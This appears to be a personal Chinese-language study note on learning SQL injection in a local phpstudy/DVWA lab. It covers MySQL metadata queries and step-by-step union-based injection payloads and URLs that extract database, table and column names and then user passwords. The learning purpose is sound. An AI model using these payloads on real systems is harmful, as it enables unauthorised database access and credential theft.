- 前置知识:sql
- 前置的软件环境:预装了phpstudy_pro+dvwa,花了好长时间……时间主要浪费在听从chatgpt的建议装xampp上,卸载了mysql,重置了密码。其实使用xampp搭建环境也成功了,但是由于phpstudy教程比较多,在WWW文件夹下可直接放写好的前后端(xampp应该也可以,不确定),最后还是换成了phpstudy_pro。
- 系统地学一下sql注入…之前只是知其然不知其所以然
SQL注入
- 一、 如何获取数据库信息
- 1. show命令
- 2. select+sql函数
- 3. 系统库(如系统自带的库information_schema,有元信息)
- 二、 [本地数据库+phpstudy_pro下的php写的后端+简单html前端] 浅试一波
- 1. 判断是否能够注入
- 2. 得到库名
- 3. 得到表名
- 4. 得到列名
- 5. 查询最终的数据
一、 如何获取数据库信息
1. show命令
show databases; --比如发现有dvwa这个库
use dvwa; -- 指定库名
show tables; --比如发现dvwa库下有guestbook 和 users 这两张表
show columns from dvwa.users; --指定库和表,显示有哪些列
2. select+sql函数
select database();
select user();
select version();
3. 系统库(如系统自带的库information_schema,有元信息)
系统库 | 描述 |
---|---|
information schema | mysql服务器所有数据库的信息 |
mysql | 基存储数据库的用户、权限设置、关键字等 |
performance schema | 主要用于收集数据库服务器性能参数 |
sys | 数据来自performance schema |
第一个第二个比较重要,第二个是存了用户名密码,第一个是库信息。
-- information_schema是一个库,SCHEMATA是该库下的一张表,schema_name是这张表的一列,存了所有真正的库
-- information_schema是一个库,TABLES是该库下的一张表,table_name是这张表的一列,存了所有真正的库中的表信息
-- information_schema是一个库,COLUMNS是该库下的一张表,column_name是这张表的一列,存了所有真正的库中的所有表的字段信息
select * from information_schema.SCHEMATA;
-- 示例1: 查所有真正的库的名字
select schema_name from information_schema.SCHEMATA;
-- 示例2: 查指定库dvwa中所有表的名字
select table_name from information_schema.tables where table_schema = 'dvwa';
-- 示例3: 查指定库dvwa中指定表users的所有列的名字
select column_name from information_schema.COLUMNS where table_schema = 'dvwa' and table_name = 'users';
二、 [本地数据库+phpstudy_pro下的php写的后端+简单html前端] 浅试一波
例1:POST请求
<form align="center" action="login.php" method="post" enctype="multipart/form-data">
目的:使用库函数 select database();
查询后台使用的数据库。
两个限制:
- 第一,网页本身对于用户名的select查询注释不掉,我们自己的select查询又需要一个select语句。这两条语句只能拼成一条语句查询,而不能像navicat里面自己查数据的时候用分号隔开。
- 第二,查询的两条语句的字段数需要是一样的,并且数据类型也要相同(至少可转化)。
所以:
① 首先要搞清楚网页表单框框本身查询的语句是查了几列。思路是使用 order by 排序,由于order by 1 代表的是按第1列,order by 2 代表的是按第2列,那么只要查到order by i+1 报错的时候,说明本身有i列,不存在第 i+1 列。
② 如果是i列,而我查的database()只占位1列,则需要把i-1列补齐。
所以我们希望后台的查询语句是这样的:
select * from test where user=' ' union select database(),1 ; -- ' and password='admin';
所以我们在输入框中填入的是 ' union select database(),1 ; --
第一个查询到的就是数据库的名字,第二个1是我们补齐的1
例2.GET请求(直接在url写)
$res = mysqli_query($con, $sql);
针对url.php这个文件,我们发现使用的是mysqli_query而不是mysql_query函数,但是依然是不安全的,因为没有使用参数化查询的方式,仅仅用的是拼接。
1. 判断是否能够注入
此处,我们在最后添加’,以进行判断是否能够注入(这样后面就会多出来一个’,网页报错)
2. 得到库名
不直接打空格(之前某次ctf我处于”良好的编码习惯“打了空格死活进不去)而是使用加号作为空格进行拼接
- notes:比如我下面这段url中,使用的是get方法。我们知道sql查询语句-- 是注释,但是得跟一个空格才能真正注释掉,所以最后跟了一个加号,不加这个加号依旧会报错
http://localhost:8082/school/url.php?id=1%27%20order+by+1--+
首先还是用order by 来看一下究竟本身查了几列,从而判断自己需要添加几个字段进去以保证字段个数相同。发现到4报错,也就是查了三列
那么构造以下查询即可查询database()
为了不显示第一行的数据(有可能有的地方只允许显示一段),可以把id设为-1:
3. 得到表名
- 此处思路是使用一、3.的系统库的命令
select table_name from information_schema.tables where table_schema = 'dvwa';
查询。由于我们刚刚得到了库名wuya,所以table_schema = ‘wuya’。 - 无涯老师讲的是,最终要构造一个这样的类型:
select * from users where id=-1 union select 1, 1, table_name from information_schema.TABLES where table_schema = 'wuya';
所以需要构造
http://localhost:8082/school/url.php?id=-1'
union
select 1, 1, table_name from information_schema.TABLES where table_schema = 'wuya'--+
- [进化]但是,由于这是线上环境,只会显示一个格子的内容,也就是table_name显示不全,所以我们要使用group_concat()进行拼接。构造
http://localhost:8082/school/url.php?id=-1'
union
select 1, 1, group_concat(table_name) from information_schema.TABLES where table_schema = 'wuya'--+
- [我的版本]其实到这个时候我还是运行不出来,一直报错,一直想了几种方案,总算找到问题所在,好像是编码有问题,在1,1,table_name后面加上限定:
http://localhost:8082/school/url.php?id=-1'
union
select 1 COLLATE utf8_general_ci, 1 COLLATE utf8_general_ci, group_concat(table_name) COLLATE utf8_general_ci
from information_schema.TABLES where table_schema = 'wuya'--+
这样总算不报错了,查出来两个表,分别是test和users
- 注:还有一个问题,我本来感觉数据类型必须要匹配,比如原本数据库查了id,user, password,此时的类型很可能是int,varchar,varchar。如果此时我们构造的是table_name,1,1就有可能出问题。但是我试了一下依然查出来了,然后我就感到很奇怪,我去本地数据库一看,哦id为varchar()类型,那没事了
4. 得到列名
依旧是之前的语句
select column_name from information_schema.COLUMNS where table_schema = 'dvwa' and table_name = 'users';
所以我们也沿袭刚刚的变成
select * from users where id=-1
union
select 1 COLLATE utf8_general_ci, 1 COLLATE utf8_general_ci, group_concat(column_name) COLLATE utf8_general_ci
from information_schema.COLUMNS where table_schema = 'wuya' and table_name = 'users';
5. 查询最终的数据
select * from users where id=-1
union
select id,name,password
from wuya.users;